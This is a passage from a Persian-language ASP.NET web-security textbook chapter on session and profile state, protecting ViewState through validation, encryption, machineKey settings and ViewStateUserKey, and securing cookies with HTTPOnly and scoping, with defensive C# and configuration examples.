 دوبارهزی انداراهدرطول د نتوانهای قرار گرفته در متغیرهای حالت نشست میداده ها:تداوم داده 

ها محفوظ بماند زیرا دادههای نشست، بدون از دست رفتن داده ،(IIS) اطلاعات اینترنت سرویس

 میانتواند در ای حالت نشست میهشود. به علاوه، دادهدیگری ذخیره می یپردازهدر فضای 

 .ذخیره شود Web garden یا یک Web farm یک یندهای متعدد، مثلفرآ

  چند  و هچند کامپیوترپیکربندی تواند در هر دو حالت : حالت نشست میبسترمقیاس پذیری

 .شوندپذیری بهینه میدر نتیجه سناریوهای مقیاس و استفاده شود ایپردازه

 :های کند که از کوکیحالت نشست با مرورگرهایی کار می حمایت بدون کوکیHTTP   حمایت

کاربر در شناسایی قابلیت فراهم کردن  منظور بهها کند، هرچند حالت نشست اغلب با کوکینمی

نیازمند این  ها،کوکیشود. استفاده از حالت نشست بدون استفاده می، وبتحتبرنامه کاربردی  یک

تواند منجر به مشکلات امنیتی میقرار گیرد و این وجو پرس یرشتهنشست در  یشناسهاست که 

 .وجو شودپرس یشده در بخش رشتهمطرح

 حالت نشست خود، حالت نشست را گسترش  کنندهفراهمتوانید با نوشتن شما می :پذیریتوسعه

سفارشی در انواع  یداده قالبتواند در یک حالت نشست می یو سفارشی کنید. داده داده

 ذخیره شود.سرویس وبو یا یک  XML، یک فایل دادهپایگاهمانند سازی داده های ذخیرهمکانیزم

 ستفاده از حالت نشست:ا معایب

  در حافظه  ،اندتا زمانی که حذف یا جایگزین نشدهمتغیرهای حالت نشست  :کاراییملاحظات

ی . متغیرهای حالت نشست که دربردارندهدهدمی کاهشکارگزار را  کاراییماند و بنابراین می
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از  کارگزار وب کاراییتواند بر روی ، میهستندبزرگ  هایدادههای اطلاعاتی، مانند مجموعه بلوک

 تاثیر منفی بگذارد. ،کارگزار طریق افزایش بار

 های پروفایلویژگي 

ASP.NET هایداده یذخیره یکه به شما اجازه کندمی فراهم «های پروفایلویژگی»نام  به خاصیت یک 

پروفایل با  هایویژگی که تفاوت این با است، نشست حالت به شبیه ویژگی این. دهدکاربر را می مختص

 کهکند استفاده می ASP.NETویژگی پروفایل از پروفایل  امکانروند. نمی دست از منتقضی شدن نشست،

امکان مدیریت  ASP.NETکاربر شخصی است. پروفایل  یک با مرتبط و شده ذخیره دایمی قالب یک در

پروفایل، این  چنینهمرا فراهم می آورد.  دادهپایگاه دارینگهآسان اطلاعات کاربران، بدون نیاز به ایجاد و 

توانید به خود می یگذارد که شما در هر جای برنامهدر اختیار می APIاطلاعات کاربر را با استفاده از یک 

فراهم کرده که به شما اجازه  ژنرکسازی یک سیستم ذخیره Asp.Netپروفایل  .آن دسترسی داشته باشید

 کنید. دارینگهای را تعریف و ادهدهد تا تقریبا هر نوع دمی

شامل یک  Asp.Netپروفایل را پیکربندی کنید.  کنندهفراهمهای پروفایل، باید یک برای استفاده از ویژگی

 Sql دادهپایگاههای پروفایل را در یک دهد تا دادهاست که به شما اجازه می SqlProfileProviderکلاس 

ها را در تواند دادهپروفایل خودتان را ایجاد کنید که می کنندهفراهمتوانید ذخیره کنید. با این وجود، شما می

 یا یک وب سرویس، ذخیره کند. XMLسازی مانند فایل سفارشی و یک مکانیسم ذخیره قالبیک 

 حتی بااند، نامه ذخیره نشدههای قرار گرفته شده در ویژگی پروفایل، در حافظه برداده کهاینبه دلیل 

شوند. می حفظها، ، بدون از دست رفتن دادهپردازه( و IISسرویس اطلاعات اینترنت ) دوبارهاندازی راه

و غیره  Web farm، Web gardenتوانند در میان فرایندهای متعدد یک های پروفایل مییژگیو علاوه بر این

 ثابت بمانند.

 پروفایل: هاییویژگهای استفاده از مزیت

 دوبارهاندازی های پروفایل درطول راههای قرار گرفته در ویژگیها: دادهداده دوام IIS  بدون از دست

 شوند. به علاوهها در یک مکانیزم خارجی ذخیره میماند زیرا دادهها، محفوظ میرفتن داده

 تداوم یابد. web gardenو  web farm، مثل تواند در طول چند پردازهپروفایل می هاییژگیو

  تواند در هر دو حالت پیکربندی چند کامپیوتره و چند : حالت نشست میبسترمقیاس پذیری

 .شودمیسازی پذیری بهینهمقیاسفرایندی استفاده شود، بنابراین سناریو 
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 د کنید. پروفایل را ایجا کنندهفراهمهای پروفایل، شما باید یک توسعه: به منظور استفاده از ویژگی

ASP.NET  شامل یک کلاسSqlProfileProvider ها در ذخیره داده یاست که به شما اجازه

پروفایلی را ایجاد کنید که  کنندهفراهمتوانید کلاس می چنینهمدهد، اما را می SQLی دادهپایگاه

، یا حتی XML، مثل فایل دلخواهی و مکانیزم ذخیره دلخواهی قالبهای پروفایل را در داده

 .کندسرویس ذخیره میوب

 های پروفایل:استفاده از ویژگی معایب

  پروفایل به طور کلی در مقایسه با استفاده از حالت نشست کندتر  هایویژگی: کاراییملاحظات

 شوند.می دارینگه دادهپایگاهها در ها در حافظه، دادهداده یهستند زیرا به جای ذخیره

  پروفایل نیاز به مقدار قابل توجهی  هاییژگیو ضافی: برخلاف حالت نشستا پیکربندینیاز به

تنها یک  نهپروفایل،  هایویژگیپیکربندی برای استفاده دارد. برای استفاده از  تنظیمات

خواهید ذخیره پروفایلی که می هایویژگیباید تمام  بلکهی پروفایل را پیکربندی کنید، کنندهفراهم

 پیکربندی کنید.نیز از پیش کنید را 

 های پروفایل که داده جاآندارند. از قابل توجهی  دارینگهپروفایل نیاز  هایویژگیها: داده دارینگه

شما  ی، برنامهشودتر میها قدیمیوقتی دادهشوید که ن یمطمماند، شما باید ای غیرفرار میدر حافظه

 .کندفراخوانی میشود، میارایه پروفایل  یکنندهفراهمتوسط  ،سازی مناسبی را کهمکانیزم پاک

 مدیریت حالت سمت کارگزار یخلاصه 

را به همراه هستند در دسترس  Asp.Netکه در  کارگزارهای مدیریت حالت مبتنی بر گزینه زیرجدول 

 .دهدنمایش میهایی درباره استفاده هرکدام توصیه

 استفادههای مورد توصیه گزینه مدیریت حالت

کنند، یا اطلاعات اطلاعاتی هستید که به ندرت تغییر می یزمانی که مایل به ذخیره برنامهحالت 

شوند و یا در مواقعی که امنیت مسأله عمومی که توسط بسیاری از کاربران استفاده می

 برنامهمهمی نیست، از این گزینه استفاده کنید. حجم زیادی از اطلاعات را در حالت 

 ذخیره نکنید.

شوند اطلاعاتی که عمر کوتاه دارند و برای یک نشست شخصی استفاده می یبرای ذخیره حالت نشست

طور در مواقعی که امنیت موضوع مهمی است، از حالت نشست استفاده نمایید. و همین

تعداد  هایی که میزبانبرنامه مقدار زیادی از اطلاعات را در حالت نشست ذخیره نکنید. در
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 اشغال را کارگزاراز  توجهی قابل منابع تواندمی حالت نشست کاربران هستند، از زیادی

 قرار دهد. تاثیرتحتپذیری را مقیاس و کرده

اطلاعات مختص هر کاربر که لازم است حتی بعد از منقضی شدن نشست  یبرای ذخیره پروفایل هایویژگی

 ی بازیابی شود، از این گزینه استفاده نمایید.کاربر تداوم یافته و در بازدیدهای بعد

 ViewStateامنیت  ۲-6

، مدل رویداد است که عملیاتی مانند کلیک یک دکمه یا Asp.Net های وبفرم در مهمهای یکی از ویژگی

 با منطبق و رویکردی کردهتبدیل  کارگزارهای سمت شده در لیست را به رویدادانتخابتغییر آیتم 

را معرفی کرد.  ViewStateهای ویندوز است. برای پشتیبانی از این مدل، مایکروسافت فرمنویسی رنامهب

ViewState  های ها و پاس موجب آن، صفحات حالت خود را در درخواستبه یک مکانیسم است که

قدار این تواند مشود، کنترل میدهی میاز کنترل مقدار کنند. زمانی که یک ویژگیمی دارینگه کارخواهمتعدد 

، که به شودمیصفحه اضافه  ViewStateویژگی را در حالت کنترل خود ذخیره کند. هر حالت کنترل به 

 ، مانند زیر:شودمیبه عنوان یک فیلد مخفی بازگشت داده  کارخواهارسال شده و توسط  کارگزار

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 

value="/wEPDwUKMTcwMzQ5NDcyMGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9f 

FggFL2N0bDAwJE1haW5QbGFjZUhvbGRlciRFZGl0b3IkQ29tbWVudFJhZGlvQnV0dG9uBS9jdGww 

MCRNYWluUGxhY2VIb2xkZXIkRWRpdG9yJENvbW1lbnRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBs 

YWNlSG9sZGVyJEVkaXRvciRUaHJlYWRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBsYWNlSG9sZGVy 

JEVkaXRvciRUaHJlYWRSYWRpb0J1dHRvbgUuY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvci 

ROZXdUaHJlYWRDaGVja0JveAUoY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvciRCb2R5VGV4d 

EJveAVRY3RsMDAkTWFpblBsYWNlSG9sZGVyJEVkaXRvciRjdGwwMF9NYWluUGxhY2VIb2xkZXJf 

RWRpdG9yX0JvZHlUZXh0Qm94ZGlhbG9nT3BlbmVyBVhjdGwwMCRNYWluUGxhY2VIb2xkZXIk 

RWRpdG9yJGN0bDAwX01haW5QbGFjZUhvbGRlcl9FZGl0b3JfQm9keVRleHRCb3hkaWFsb2dPc 

GVuZXJfV2luZG93" /> 

ViewState شوند، ها به صفحه اضافه میمزایای و معایبی دارد. زمانی که کنترلViewState  رشد کرده و

 کارخواهصفحه توسط  نمایشصفحه اضافه کند که این سرعت بارگذاری و  یها به اندازهتواند کیلوبایتمی

تواند مدل رویداد محور را نمی ViewState ،Asp.Netدهد. با این وجود، بدون تاثیر قرار میتحترا 

توانید از دهند. شما میصفحه از دست می دوبارهام بارگذاری ها مقادیر خود را هنگپشتیبانی کرده و کنترل

ViewState  خواهید با هر درخواست ارسال کنید، مقادیری که می یبرای ذخیرهایجاد شده توسط خودتان

نمایش داده شده  زیرطور که در مثال استفاده کنید. همان Pageدر کلاس  ViewStateتوسط دسترسی به 

 است:

ViewState["MyExample"] = "wrox"; 
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رمزگذاری  هاآنتوانید داده را بخوانید نمی کهاینبا نگاه به این مثال ممکن است تصور کنید که به دلیل 

رسد که شامل هیچ ویژگی نام یا مقدار نباشد. اما این چنین نبوده و بدیهی است که به و به نظر می اندشده

رمزگذاری شده است.رمزگذاری  64برمبنای  ViewStateصورت متن واضح نیست. در مثال قبل، مقدار 

. این آوردمیدر 64را به صورت یک متن در مبنای  هاآنهای باینری را دریافت کرده و ، داده64برمبنای 

 که ای بودمجموعه زیر حداکثر کاراکتر، 64شد؛ چرا که سیستمی است که در گذشته بیشتر انتخاب می

نیز بود. این ترکیب یک جریان داده رمزگذاری  چاپ قابل گذاشته و اشتراک به کاراکترها مجموعه از بسیاری

 تغییر یابد. های قدیمی مانند ایمیل تصادفاًکه بعید است در انتقال از سیستم کندمیرا ایجاد  64شده بر مبنای 

آن به فرانسوی را  یکه صحبت کردن به انگلیسی و ترجمه طورهمانتوانید رمزگذاری را درک کنید شما می

ببیند،  را متن( کدگذاری یا) ندارد، ترجمه فرانسوی زبان یهیچ دانشی درباره فردی که شوید. اگرمتوجه می

 زبان دو هر که کسی حال، این با. است مفهومنا و شکسته یا و معنی بی یک متن که کند فرض است ممکن

 خواهد انگلیسی زبان به فرانسه ینسخه رمزگشایی و ترجمه بازگردانی به قادر ،داندمی فرانسه را و انگلیسی

  .بود

استفاده از یک کلید، کند. در واقع یک مقدار را گرفته و آن را با تی کار میومتفا رمزگذاری به روش

کند و تنها توسط همان کلید قابل بازگشایی است. درحالی که ممکن است ناظرانی بدانند که گذاری میقفل

 های رمزگذاری شده را مشاهده کنند.توانند بدون دراختیار داشتن کلید دادهچه نوع قفلی استفاده شده اما نمی

دیگری که  یتواند توسط هر برنامهشود، میرمزگذاری می فرضشپیتنها به طور  ViewState کهاینبه دلیل 

 گذارانبنیان از یکی)  Fritz Onionرا رمزگشایی کند، رمزگشایی شود.  64داند چگونه داده بر مبنای می

Pluralsight، کنفرانس در مکرر مشارکت کننده یک و آموزش و فنی محتوای هیارا سازمان یک ASP.NET 

 کنید.مشاهده می زیرنوشته است که آن را در شکل  "ViewState Decoder" نام به ابزاری ( MSDNمجله و

 بیابید. http://www.pluralsight.com/community/media/p/51688.aspxدر آدرس  توانیدمیاین ابزار را 
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 ViewState: رمزگشای 1-6شکل 

 یاز صفحه ViewStateیک فیلد  ViewState Decoderابزار ، کنیدمیمشاهده  1-6شکل که در  طورهمان

اطلاعات  یبرای ذخیره ViewStateاگر شما از  کند.شده در آن را تعیین میذخیرهوب دریافت کرده و مقدار 

تواند از این ابزار استفاده کرده و به اطلاعات حساس شما دسترسی کنید، یک مهاجم میحساس استفاده می

 پیدا کند.

 ViewStateاعتبارسنجي  1-۲-6

 مقدار یک توانیدفرض کنید که می است ممکن است، شده گذاریکد viewstate چگونه کهبدانید  شما اگر

ViewState صفحه یک به را آن و ایجاد جعلی کاملا ASP.NET ارسال کنید. این کار به شما قابلیت افزودن 

که  دهد اجازه مهاجم به تواندمی تغییرات، نوع ایندهد. یرایش و حذف مقادیر ذخیره شده در صفحه را میو

را بعد  ViewState فرضپیشبه طور  Asp.Netرا در اختیار بگیرد. اما  کارگزار سمت کد در هاکنترل رفتار

 ViewStateسازی مقادیر نتیجه قابل تغییر دادن نیست. این عمل توسط درهم کند، دراز ایجاد شدن، امضا می

سازی شده بعداً شود. این مقدار درهمانجام می ViewStateو ایجاد یک مقدار منحصربه فرد از محتوای 

 ViewStateشود و این مقدار رمزگشایی شده در میتوسط یک کلید که در کارگزار ذخیره شده، رمزگشایی 

را از طریق رمزگشایی مقدار  ViewStateدر طول فرایند ارسال/بازگرداندن،  Asp.Netگیرد. قرار می
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کند. اگر ، اعتبارسنجی میViewStateسازی محتوای مقدار درهم دوبارهسازی شده درون آن و محاسبه درهم

شده و یک خطای  کاریدست ViewStateابقت پیدا نکند، سازی شده مطاین مقدار درهم

ViewStateException دتوانمی مهاجم یک چه اگردهد. رخ می viewstate سازی شده درهم مقدار با جعلی

کارگزار آگاهی پیدا کند. بنابراین زمانی که  شده در استفاده یرمزگذار کلید تواند ازاما نمی ،کند ارسالخود 

Asp.Net  بخواهد برای رمزگشاییViewState  مهاجم اقدام کند، با شکست مواجه شده و یک استثنا رخ

 دهدمی رخ زمانی اول مشکلد باعث ایجاد دو مشکل رایج بشود. توانمیدهد. این مکانیسم اعتبارسنجی می

، اگر یک درخواست ضفرپیشبه طور  .اجرا کنید میزبان ماشین چندین روی بر را خود افزارنرم باید شما که

)یا کلید ماشین( مورد استفاده  به مرورگر ارسال شود، کلید رمزگذاری Aتوسط ماشین  ViewStateشامل 

شود. اما از طرف دیگر سازی اعتبارسنجی به طور تصادفی برای ماشین تولید میبرای رمزگذاری مقدار درهم

کلید  Bو  Aشود چرا که ماشین ست روبرو میدرخواست را دریافت کرده و رمزگشایی آن با شک Bماشین 

شود، مقدار کلید ماشین  دوبارهاندازی شما راه یماشین متفاوتی دارند. مشکل دوم این است که اگر برنامه

ارسال شود، سپس برنامه قبل از بازگشت  کارخواهشود؛ یعنی اگر یک صفحه به مرورگر دوباره تولید می

 شود.را بازگرداند، برنامه با شکست مواجه می ViewStateه و شد دوبارهاندازی صفحه، راه

در یک  Falseبا   EnableViewStateMacرا با مقداردهی کردن صفت ViewStateاعتبارسنجی  توانمی

های دهد که دادهی بدی است زیرا به مهاجمان اجازه می، غیرفعال کرد اما این ایدهبرنامهصفحه یا کل 

ViewState  کلید یک دارای ماشین هر که کنید حاصل اطمینان باید شما عوض، در کنند. کاریدسترا 

پیکربندی  web.configدر فایل  <machineKey>توانید با عنصر منطبق با آن است. کلید ماشین را می ماشین

 نتداتنصب چارچوب  یدر پوشه web.config، این عنصر در فایل عمومی فرضپیشکنید. به طور 

 مقداردهی شده و شامل تنظیمات زیر است:

  <machineKey 

   validationKey="AutoGenerate, IsolateApps" 

   decryptionKey="AutoGenerate, IsolateApps" 

   validation="SHA1" 

   decryption="AUTO" />  

را در قالب هگزادسیمال  هاآنبرای مقداردهی دستی کلیدها، باید اعداد تصادفی جدید ایجاد کرده و 

دهد و شما مناسب تولید کرده را نمایش می machineKeyیک برنامه که عنصر زیر رمزگذاری کنید. مثال 

 خود اضافه کنید. web.configتوانید آن را به فایل می

using System; 

using System.Security.Cryptography;  

using System.Text; 

namespace MachineKeyGenerator  
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{ 

    class Program  

    {  

        static readonly RNGCryptoServiceProvider rngProvider =  

            new RNGCryptoServiceProvider(); 

        static void Main(string[] args) 

        { 

            StringBuilder machineKeyElement = new StringBuilder(); 

            machineKeyElement.Append(" <machineKey\n");  

            machineKeyElement.Append(" validationKey=\""); 

            machineKeyElement.Append(CreateRandomKey(64)); 

            machineKeyElement.Append("\"\n"); 

            machineKeyElement.Append(" decryptionKey=\""); 

            machineKeyElement.Append(CreateRandomKey(32)); 

            machineKeyElement.Append("\"\n"); 

            machineKeyElement.Append(" validation=\"SHA1\"\n"); 

            machineKeyElement.Append(" decryption=\"AES\"\n"); 

            machineKeyElement.Append("/ >" );     

            Console.WriteLine(machineKeyElement.ToString()); 

       } 

       static string CreateRandomKey(int length) 

       {  

            byte[] randomKey = new byte[length];  

            rngProvider.GetBytes(randomKey);  

            string hex = BitConverter.ToString(randomKey);  

            return hex.Replace("-", "");   

       } 

    } 

} 

OrcsWeb  میزبان در دهنده ارایهیکAsp.Net وب دارد که عنصرهای  یاست که یک صفحهmachineKey 

 شود،می استفاده اعتبارسنجی و رمزگذاری برای ماشین کلید کهاین به توجه با حال، این باکند. تولید می

است و اگر شخص ثالث این مقدار را ذخیره کند،  خطر یک ثالث، شخص یک از رمزنگاری کلید گرفتن

ی استفاده خواهید سایتوبداند که از چه نمی  OrcsWebیی که سیستم جاآن. اما از شویدمیشما متوجه ن

این سیستم را در آدرس  توانیدمییابد. شما میکرد، به خطر افتادن کلید کاهش 

http://www.orcsweb.com/articles/aspnetmachinekey.aspx .بیابید 

رفته و روی آیکن کلید ماشین  IIS7برای تولید کلید ماشین استفاده کنید، به مدیریت  IIS7خواهید از اگر می

لینک  خواهید یک کلید ثابت تولید کنید، رویکلیک کنید. درصورتی که می Asp.Netهای یست ویژگیدر ل

"Generate Keys" با استفاده از مدیریت در پنل عملیات کلیک کنید .IIS یک کلید ماشین را به  توانیدمی

ها انتخاب ی سایتدر پوشه Connectionsهای روی یک ماشین یا یک سایت خاص که از پنل ی سایتهمه

شود. استفاده نمی ViewStateفقط برای اعتبارسنجی  machineKey، اختصاص دهید. عنصر کنیدمی

validationKey و نقش مدیر عنوان به چنینهم و فرم بر مبتنی احراز هویت در هویت احراز امضای برای 
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به صورت  وهویت  احراز رمزگشایی و رمزگذاری برای decryptionKey.شودمی استفاده ناشناس شناسایی

 .شودمی استفاده viewstate رمزگشایی و رمزگذاریاختیاری برای 

 در ماشین کلید یک از شما اگرشود.  دارینگه، باید به صورت رمز machineKeyبه دلیل اهمیت عنصر 

 مدیران دسترس در تنها که خود سیستم روی بر جدید ماشین کلید کاز ی باید ،کنیداستفاده می توسعه

 کنید. محافظت web.config درون در را آن رمزگذاری با باید چنینهم. استفاده کنید کارگزار است

 ViewStateرمزگذاری  ۲-۲-6

 ViewStateشود. رمزگذاری رمزگذاری نمی فرضپیشبه صورت  ViewStateکه آموختید،  طورهمان

توانید رمزگذاری می چنینهمست شود. تواند توسط یک کنترل، یک صفحه یا یک برنامه درخوامی

ViewState صورتی که یک کنترل آن را درخواست کرده باشد، غیرفعال کنید. هرگاه  را حتی درViewState 

 اجرا به برایتوانند محتوای آن را مشاهده کنند. نمی ViewStateDecoderهایی مانند رمزگذاری شود، برنامه

 pages عنصر در viewStateEncryptionMode صفت باید ،برنامه یک برای viewstate رمزگذاری درآوردن

 که در زیر نشان داده شده، مقداردهی کنید. طورهمانرا  Web.Config فایل در

<pages ... viewStateEncryptionMode="Always" ... /> 

 با هصفح هر در رمزگذاری در کد خود، درخواست نویسیبرنامهبا  توانیدمی چنینهم

 ویژگی تنظیم با یا و  Page.RegisterRequiresViewStateEncryptionفراخوانی

ViewStateEncryptionMode شده، انجام دهید داده نشان که در زیر طورهمان صفحه، سرآیند در. 

<% @Page Language="C#" ... ViewStateEncryptionMode="Always" %> 

برروی اندازه فیلدهای  چنینهمباعث افزایش زمان نمایش و پاس  صفحه شده و  ViewStateرمزگذاری 

 گذارد.مخفی تاثیر می

 ViewState One-Click حفاظت در برابر حملات 3-۲-6

 در ،ای داشته باشدآن مداخله محتویات با تواندنمی کس هیچ که کندمی تضمین  ViewStateاعتبارسنجی

 مشاهده آن را هایداده تواندنمی کس هیچ که کندمی تضمین (اختیاری)  ViewStateرمزگذاری که حالی

بازسازی زمانی رخ  یبازسازی است. حمله حملاتو آن  مانده باقی هنوز پذیریآسیب یک حال، این باکند. 

بعد یا تحت بستر کاربر  یمعتبر از درخواست قبلی گرفته و آن را به نقطه ViewStateدهد که مهاجم یک می

 کند.دیگر، ارسال می
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 ی( که یک حملهCSRFسایتی)بیندر جعل درخواست  توانمی را ViewState بازسازی یحمله یک اغلب

One-Click  به اسکریپت جاوا طریق از فرم یک مورد استفاده قرار داد. در این نوع حمله، شودمی نامیدهنیز 

 حمله آثار ،شودنمی منقضی  ViewStateاینکه دلیل به متاسفانه، شود.میارسال  پذیرآسیب یصفحه یک

 .کرد خواهد کار همیشه

 قفل برای روش یک عنوان بهرا  ViewStateUserKey ویژگی ASP.NET حمله، روش این به دلیل

ViewState   مقداردهی شود ویژگی این اگرداده است. ارایه نشست  یا و خاص کاربر یکبرای، 

ASP.NET  کند. به سنجی استفاده میاعتبار و تمامیت بررسی برای کلید، از بخشی عنوان به مقدار ایناز

 نشست یشناسهبه  ،نباشد دسترس در این اگر و شده فعلیتصدیق کاربر کاربری نام به مقدار اینطور کلی، 

 درد تواننمی که طوری بهکند را قفل می ViewState موثر طور بهکار  اینشود. ، تنظیم میفعلی نشست برای

 زمان مورد استفاده قرار گیرد. استفاده از شناسه نشست، یک دیگری کاربر توسط یا و دیگر نشست یک

شدن زمان  تکمیل برایشما  هایفرم اگرنظر داشته باشید که  کند. دراضافه می ViewState به ضمنی انقضا

 خواهد رخ خطایی آن از پسشود،  منقضی ارسال فرم توسط کاربر نشست هنگام اگر زیادی طول بکشد و

 .بود خواهدن معتبر دیگر ViewState که چرا داد،

 ،آن تجزیه و ViewState ایجاد و یا بارگذاری از قبل باید ViewStateUserKey ویژگی که جاآن از

تنظیم شود. فرض کنید که  Init رویداد در صفحه عمر یچرخه اوایل در باید مقداردهی شود، بنابراین

 از ،وجود دارد روش چندینبه کار ببرید. برای این منظور  صفحه هر دررا  ViewStateUserKeyخواهید می

ی پایه کلاس یک از استفاده یا، Global.asax در PreRequestHandlerExecute رویداد به پاس  جمله

 داده نشان زیر مثال در Global.asax در رویداد این به  ای از پاس. نمونهخود صفحات تمام برای سفارشی

 .است شده

<% @Application Language="C#" %>  

<script runat="server">    

    void Application_PreRequestHandlerExecute 

         (object sender, EventArgs e) 

    { 

        HttpContext context = HttpContext.Current;  

        // Check we are actually in a webforms page.  

        Page page = context.Handler as Page;  

        if (page != null)  

        { 

            // Use the authenticated user if one is available, 

            // so as the user key does not expire over  

            // application recycles. 

            if (context.Request.IsAuthenticated)  

            {  
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                page.ViewStateUserKey = context.User.Identity.Name;  

            }  

            else  

            {  

                page.ViewStateUserKey = context.Session.SessionID; 

            } 

        } 

    } 

</script > 

نیازی نیست که کلاس پایه را برای همه صفحات به خاطر داشته باشید  که است مزیت این دارای روش این

 یهپا کلاس یک از دهیدمی ترجیح اگر. تغییر ندهید آن راگاه هیچنیازی نیست که به خاطر داشته باشید که  و

 استفاده است شده داده نشانزیر  در مثال عنوان بهکه  OnInit رویداد از توانیدمی ،کنید استفاده سفارشی

 کنید.

using System;  

using System.Web.UI; 

public class ProtectedViewStatePage : Page 

{  

    protected override void OnInit(EventArgs e)  

    { 

        if (Request.IsAuthenticated)  

        { 

            ViewStateUserKey = User.Identity.Name;  

        }  

        else  

        { 

            ViewStateUserKey = Session.SessionID; 

        } 

        base.OnInit(e);  

    } 

} 

 پشت هایکد ازاگر. دهید تغییر جدید پایه کلاس به را خود صفحات کلاسبری ارث باید شما آن از بعد

 ،کنید تنظیم web.config در <pages> عنصر از استفاده بارا  پایه کلاس توانیدمی ،کنیدمین استفاده صفحه

 :زیر مانند

<system.web> 

    <pages pageBaseType="ProtectedViewStatePage"></pages> 

</system.web> 

 کارخواهاز صفحه  ViewStateحذف  4-۲-6

. است کارخواه صفحه از کلی حذف آن وجود دارد و ViewState از محافظت برای دیگری مکانیسم

ASP.NET 2.0 کلاس PageStatePersister  طور به کرد. معرفیکار  این رساندن انجام به برایرا 

فیلد  یک دررا  ViewState کهکنند استفاده می HiddenFieldPageStatePersister از صفحات ،فرضپیش
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را  SessionPageStatePersister چنینهم ASP.NET حال، این باکند. ذخیره می HTML صفحه در مخفی

 استفاده صفحه یک که یمکانیزم تغییر برای. کندمی واردرا در حالت نشست  ViewState که دهدمیارایه 

 :زیر مانند کنید، بازنویسیدر یک صفحه  را PageStatePersister توانید ویژگیمی کند،می

protected override PageStatePersister PageStatePersister  

{  

    get  

    {  

        return new SessionPageStatePersister(this);  

    } 

} 

 ViewState مخفی هایفیلد چرا که دیکن تعجب است ممکن خود اضافه کنید، صفحه بهتعریف را  این اگر

 شما ،ViewStateDecoder ابزار از استفاده صورت در. شوندشما تولید می یصفحه HTML در هنوز

 که است مرجع یک بلکه دارد،مین نگه خود صفحه دررا  مقادیر و هاکلید دیگر ViewState که دید خواهید

SessionPageStatePersister کند.استفاده می خود حافظه از مقادیر بازیابی برای 

 برای مشترک پایه کلاس یک داخل در یا ورا در هر صفحه  SessionPageStatePersister توانیدمی شما

 ذخیره ViewState ۹ تعداد SessionPageStatePersister ،فرضپیش طور به. ، پیکربندی کنیدصفحات همه

 ریخته دور ViewState ترینقدیمی ،برسد تعداد حداکثربه  اگر. داردمی نگه را نشست یک برای شده

. کنند باز شما برنامه در توانندمی کاربران ههایی است کپنجره تعداد حداکثرمحدودیت،  این. شودمی

 این با. دیده افزایش<  <sessionPageState پیکربندی عنصر در شده را ذخیره ViewState تعداد توانیدمی

 .دهدمی قرار تاثیر تحت را کارگزار وب روی بر موجود حافظه کار این که است واضح حال،

 هااستفاده امن از کوکي 3-6

 به حال، این با داریم. نگه دسترس دررا  کاربرمختص  اطلاعات کهاین برایهستند  مفید راه یک هاکوکی

 پذیرند.آسیب سواستفاده یا و فریبکاری برابر در د،نشومی فرستاده مرورگر کامپیوتر به هاکوکی کهاین دلیل

 های زیر را دنبال کنید:دستورالعمل

 ها ذخیره کاربر را حتی به صورت موقت، در کوکی ی عبورکلمهگونه اطلاعات حساسی مانند هیچ

شما به خطر  یقرار بگیرند، برنامه سواستفادهوان یک قانون، اطلاعاتی که اگر مورد نکنید. به عن

نکنید و به جای آن یک مرجع از محل ذخیره اطلاعات در کارگزار  دارینگهها افتد را در کوکیمی

 درون کوکی ذخیره کنید.
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  در مییدا کوکی از مقداردهی کنید و توانیدمی که عملی زمان ترینکوتاهرا  هاکوکی یانقضا تاری 

 .نمایید اجتناب امکان صورت

 اطلاعات را به صورت رمزگذاری شده در کوکی ذخیره کنید. 

 هایویژگی Secure  و Http با  را کوکی درtrue مقداردهی کنید. 

 هاحفاظت از کوکي 1-3-6

 هایکوکی مفهوم مایکروسافت ،6 راکسپلو اینترنت برای 1 پک سرویس انتشار با ،2002 سال در

HTTPOnly   حملات از بسیاری که چراکرد،  معرفیرا XSS داد. نشست را مورد هدف قرار می هایکوکی

سمت  اسکریپت جاوادر  کوکی( مرورگر به بسته نوشتن، و) خواندن قابلیت بردن بین از با است، بدیهی

 هایکوکی فقط حاضر، حال دربرود.  سرقتبه  XSS یحمله یک توسط تواندنمی کوکی ،کارخواه

HTTPOnly   به پاس  از تواندمی هم هنوز XMLHttpRequest، اسکریپت برای که Ajax بیشتر در 

 .کندمی محافظتامر  این برابر در بعد و 3.0.0.6 فایرفاکس شوند و فقط خواندهشود، می استفاده مرورگرها

 دهد.را نمایش می   HTTPOnlyهایهای رایج ازکوکیمرورگر پشتیبانیزیر  جدول

 HTTPOnly یهايازکوک جیرا یمرورگرها يبانیپشت: ۲-6جدول 

 جلوگیری از نوشتن جلوگیری از خواندن نسخه مرورگر

Internet Explorer 8 بله بله 

Internet Explorer 7 بله بله 

Internet Explorer 6 خیر بله 

Mozilla Firefox 3 بله بله 

Mozilla Firefox 2 بله بله 

Opera ۹.5 خیر بله 

Opera ۹.2 خیر خیر 

Safari 3.0 خیر خیر 

Google Chrome خیر بله نسخه بتا 

ASP.NET 2.0   ،)صفت  یمجموعه همیشه)و بعدHTTPOnly   های احراز کوکی نشست یشناسه دررا

 فایل طریق از های ایجادشده سمت کارگزار راکوکی تمام توانیدمی شما. دهدمیهویت فرم قرار 

web.config، پیکربندی کنید زیر مانند: 

<system.web>  
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    <httpCookies httpOnlyCookies="true"/ >       ..... 

</system.web >  

 تعیین نویسیبرنامه با توانیدمی را   HTTPOnly پرچم ،کننده باشدمحدود حد از بیش این که صورتی در

 :زیر مانند د،کنی

HttpCookie protectedCookie = new HttpCookie("protectedCookie"); 

protectedCookie.HttpOnly = true; 

Response.AppendCookie(protectedCookie);  

برای حفاظت  بایدن نتیجه در و نندکنمی پشتیبانی ویژگی این از مرورگرها همه که باشید داشته خاطر به باید

 حساس تنها روی این ویژگی تکیه کنید.های کوکی

 کوکي یکنترل محدوده ۲-3-6

ذخیره شده و با هر درخواستی به سایت، به کارگزار  کارخواهها در سمت ی کوکی، همهفرضپیشبه طور 

گیرد. با این وجود، های آن سایت را میی کوکیشوند. به عبارت دیگر، هر صفحه در سایت همهفرستاده می

 ها محدوده تعیین کنید:توانید به دو روش برای کوکیشما می

 ها را به یک کوکی دهدمیما اجازه ها به یک پوشه در کارگزار، که به شکوکی یمحدودکردن دامنه

 برنامه روی سایت محدود کنید.

